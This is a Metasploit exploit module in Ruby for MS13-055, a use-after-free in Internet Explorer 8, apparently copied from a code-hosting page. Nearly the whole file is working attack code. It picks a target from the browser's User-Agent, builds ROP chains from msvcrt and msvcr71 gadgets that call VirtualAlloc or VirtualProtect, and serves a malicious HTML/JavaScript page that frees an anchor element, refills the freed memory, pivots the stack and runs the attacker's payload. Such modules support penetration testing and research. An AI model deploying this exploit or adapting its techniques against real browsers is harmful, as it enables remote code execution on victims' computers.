260 lines
8.2 KiB
Ruby
260 lines
8.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
|
|
'Description' => %q{
|
|
In IE8 standards mode, it's possible to cause a use-after-free condition by first
|
|
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
|
|
with the final node being a sub table element. When the CPhraseElement's outer
|
|
content is reset by using either outerText or outerHTML through an event handler,
|
|
this triggers a free of its child element (in this case, a CAnchorElement, but
|
|
some other objects apply too), but a reference is still kept in function
|
|
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
|
|
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
|
|
make a call to the object's SecurityContext virtual function at offset +0x70, which
|
|
results a crash. An attacker can take advantage of this by first creating an
|
|
CAnchorElement object, let it free, and then replace the freed memory with another
|
|
fake object. Successfully doing so may allow arbitrary code execution under the
|
|
context of the user.
|
|
|
|
This bug is specific to Internet Explorer 8 only. It was originally discovered by
|
|
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Orange Tsai', # Original discovery, PoC
|
|
'Peter Vreugdenhil', # Joins the party (wtfuzz)
|
|
'sinn3r' # Joins the party
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'MSB', 'MS13-055' ],
|
|
[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'IE 8 on Windows XP SP3',
|
|
{
|
|
'Rop' => :msvcrt,
|
|
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
|
|
'Align' => 0x77c4d801 # add esp, 0x2c; ret
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows 7',
|
|
{
|
|
'Rop' => :jre,
|
|
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
|
|
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
|
|
}
|
|
]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Jul 09 2013",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def get_target(agent)
|
|
return target if target.name != 'Automatic'
|
|
|
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
|
|
|
ie_name = "IE #{ie}"
|
|
|
|
case nt
|
|
when '5.1'
|
|
os_name = 'Windows XP SP3'
|
|
when '6.1'
|
|
os_name = 'Windows 7'
|
|
end
|
|
|
|
targets.each do |t|
|
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
|
return t
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
rop = ''
|
|
code = payload.encoded
|
|
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
|
|
|
|
case t['Rop']
|
|
when :msvcrt
|
|
# Stack adjustment # add esp, -3500
|
|
esp_align = "\x81\xc4\x54\xf2\xff\xff"
|
|
|
|
print_status("Using msvcrt ROP")
|
|
rop =
|
|
[
|
|
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
|
|
0x77c1e844, # skip 4 bytes [msvcrt.dll]
|
|
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
|
|
0xffffffff,
|
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
|
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
|
|
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
|
|
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
|
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
|
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
|
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
|
|
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
|
|
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
|
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
|
|
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
|
|
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
|
|
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
|
|
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
|
|
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
|
|
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
|
|
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
|
|
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
|
|
].pack("V*")
|
|
else
|
|
print_status("Using JRE ROP")
|
|
rop =
|
|
[
|
|
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
|
|
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
|
|
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
|
|
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
|
|
0xffffffff,
|
|
0x7c376402, # skip 4 bytes [msvcr71.dll]
|
|
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
|
|
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
|
|
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
|
|
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
|
|
0xffffffc0, # Value to negate, will become 0x00000040
|
|
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
|
|
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
|
|
0x7c38b001, # &Writable location [msvcr71.dll]
|
|
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
|
|
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
|
|
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
|
|
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
|
|
# rop chain generated with mona.py
|
|
].pack("V*")
|
|
end
|
|
|
|
rop_payload = rop
|
|
rop_payload << esp_align
|
|
rop_payload << code
|
|
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
|
|
|
|
rop_payload
|
|
end
|
|
|
|
def junk
|
|
rand_text_alpha(4).unpack("V")[0].to_i
|
|
end
|
|
|
|
def nop
|
|
make_nops(4).unpack("V")[0].to_i
|
|
end
|
|
|
|
def get_html(t, p)
|
|
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
|
|
js_payload = Rex::Text.to_unescape(p)
|
|
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
|
|
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
|
|
|
|
q_id = Rex::Text.rand_text_alpha(1)
|
|
|
|
html = %Q|
|
|
<!DOCTYPE html>
|
|
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
|
<head>
|
|
<meta>
|
|
<?IMPORT namespace="t" implementation="#default#time2">
|
|
</meta>
|
|
</head>
|
|
<script>
|
|
#{js_mstime_malloc}
|
|
|
|
window.onload = function() {
|
|
var x = document.getElementById("#{q_id}");
|
|
x.outerText = "";
|
|
a = document.getElementById('myanim');
|
|
|
|
p = '';
|
|
for (i=0; i < 7; i++) {
|
|
p += unescape("#{js_junk}");
|
|
}
|
|
p += unescape("#{js_payload}");
|
|
|
|
fo = unescape("#{js_align}");
|
|
for (i=0; i < 28; i++) {
|
|
if (i == 27) { fo += unescape("#{js_pivot}"); }
|
|
else { fo += unescape("#{js_align}"); }
|
|
}
|
|
|
|
fo += p;
|
|
|
|
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
|
|
}
|
|
</script>
|
|
<table>
|
|
<tr>
|
|
<div>
|
|
<span>
|
|
<q id='#{q_id}'>
|
|
<a>
|
|
<td></td>
|
|
</a>
|
|
</q>
|
|
</span>
|
|
</div>
|
|
</tr>
|
|
</table>
|
|
<t:ANIMATECOLOR id="myanim"/>
|
|
</html>
|
|
|
|
|
|
|
html
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
t = get_target(agent)
|
|
|
|
if t
|
|
p = get_payload(t, cli)
|
|
html = get_html(t, p)
|
|
print_status("Sending exploit...")
|
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
|
else
|
|
print_error("Not a suitable target: #{agent}")
|
|
send_not_found(cli)
|
|
end
|
|
end
|
|
end
|